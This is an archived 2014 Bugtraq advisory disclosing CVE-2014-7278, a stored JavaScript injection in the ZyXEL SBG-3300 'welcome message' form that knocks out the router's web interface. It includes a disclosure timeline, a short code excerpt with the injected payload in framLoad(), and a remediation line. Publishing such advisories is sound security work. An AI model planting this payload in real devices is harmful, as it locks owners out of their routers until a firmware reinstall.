lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201410031225.s93CPVm2014487@sf01web3.securityfocus.com>
Date: Fri, 3 Oct 2014 12:25:31 GMT
From: mirko.casadei@...il.com
To: bugtraq@...urityfocus.com
Subject: CVE-2014-7278 DoS in ZyXEL SBG-3300 Security Gateway

########################################
#Vulnerability Title: DoS in ZyXEL SBG-3300 Security Gateway
#Date: 02/10/2014
#CVE-ID: CVE-2014-7278
#Product: ZyXEL SBG3300-N series
#Vendor: www.zyxel.com
#Affected Firmware: Latest version at the time of disclosure V1.00(AADY.4)C0 and below (tested)
#Patch: Unpatched
#Authored by: Mirko Casadei
########################################

#Disclosure Timeline:
13/08/2014  Vendor Contact with Acknowledgment 
13/09/2014  No response from Vendor after first contact
02/10/2014  Full Disclosure 

#Technical details:
Abusing the 'welcome message' form, an attacker can inject JavaScript code into a core function of the main login page.
The persistent javascript code injection in the framLoad() function bypass all the security checks and cause a Denial of Service disabling any access to the router web interface.
Access is restored with a new firmware installation.
Example of a working code:
//////// !WARNING! TEST AT YOUR OWN RISK ///////
var loginMsg loads input from the 'welcome message form'
..
function framLoad () {
	var status = '0';
	var count = '';
	var Retry = '';
	var period = '';	
	var loginMsg = '<DoS="javascript:alert('DoS coming!')">';	
	var LockTime;
	var waitTime;
	if ( advancedaccountsecurity == '0' ) {
		loginrandom = '0';
	}
..

#Remediation
The vulnerable form should sanitize input.
########################################

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ